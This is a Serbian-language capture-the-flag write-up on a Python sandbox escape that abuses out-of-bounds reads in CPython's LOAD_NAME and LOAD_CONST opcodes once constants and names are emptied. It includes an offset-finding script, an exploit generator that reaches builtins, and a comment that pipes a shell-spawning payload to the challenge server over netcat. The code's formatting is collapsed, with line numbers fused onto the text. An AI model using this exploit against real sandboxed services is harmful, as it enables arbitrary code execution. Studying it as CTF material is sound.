Možemo koristiti OOB čitanje funkcionalnost u LOAD_NAME / LOAD_CONST opcode-u da bismo dobili neki simbol u memoriji. To znači koristiti trik kao (a, b, c, ... stotine simbola ..., __getattribute__) if [] else [].__getattribute__(...) da bismo dobili simbol (kao što je ime funkcije) koji želite.
Zatim samo kreirajte svoj exploit.
Pregled
Izvorni kod je prilično kratak, sadrži samo 4 linije!
Možete uneti proizvoljni Python kod i biće kompajliran u Python objekat koda. Međutim, co_consts i co_names tog objekta koda će biti zamenjeni praznim tuplom pre nego što se izvrši taj objekat koda.
Na taj način, svi izrazi koji sadrže konstante (npr. brojeve, stringove itd.) ili imena (npr. promenljive, funkcije) mogu izazvati grešku segmentacije na kraju.
Očitavanje van granica
Kako dolazi do greške segmentacije?
Krenimo od jednostavnog primera, [a, b, c] može se kompajlirati u sledeći bajtkod.
Ali šta ako postane prazan tuple co_names? Opcode LOAD_NAME 2 i dalje se izvršava i pokušava da pročita vrednost sa adrese memorije na kojoj je prvobitno trebalo da se nalazi. Da, ovo je "funkcionalnost" izvan granica čitanja.
Osnovna ideja za rešenje je jednostavna. Neke opcode-ove u CPython-u, kao što su LOAD_NAME i LOAD_CONST, su ranjive (?) na izvan granica čitanja.
Oni dobavljaju objekat sa indeksom oparg iz tuple-a consts ili names (to je ono što se naziva co_consts i co_names ispod haube). Možemo se pozvati na sledeći kratak snimak o LOAD_CONST da bismo videli šta CPython radi kada obrađuje opcode LOAD_CONST.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
Na ovaj način možemo koristiti OOB funkcionalnost da bismo dobili "ime" sa proizvoljnog memorijskog offseta. Da bismo bili sigurni koje ime ima i koji je njegov offset, jednostavno pokušavamo LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... I možete pronaći nešto sa oparg > 700. Takođe možete pokušati koristiti gdb da biste pogledali raspored memorije, ali ne mislim da bi to bilo lakše?
Generisanje Exploita
Kada dobijemo korisne offsete za imena / konstante, kako dobijamo ime / konstantu sa tog offseta i koristimo je? Evo trika za vas:
Pretpostavimo da možemo dobiti ime __getattribute__ sa offsetom 5 (LOAD_NAME 5) sa co_names=(), tada samo uradite sledeće:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
Primetite da nije neophodno nazvati ga kao __getattribute__, možete ga nazvati nečim kraćim ili čudnijim.
Razlog možete razumeti samo gledajući njegov bajtkod:
Primetite da LOAD_ATTR takođe dobavlja ime iz co_names. Python učitava imena sa istog offseta ako je ime isto, tako da se drugi __getattribute__ i dalje učitava sa offsetom 5. Koristeći ovu mogućnost, možemo koristiti proizvoljno ime jednom kada je ime u memoriji u blizini.
Generisanje brojeva trebalo bi biti jednostavno:
0: not [[]]
1: not []
2: (not []) + (not [])
...
Skripta za iskorišćavanje
Nisam koristio konstante zbog ograničenja dužine.
Prvo, evo skripte koju koristimo da pronađemo te offsete imena.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
I sledeće je za generisanje pravog Python eksploita.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)returnf'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)returnf'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource =f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Osnovno radi sledeće stvari, za one stringove koje dobijamo iz metode __dir__: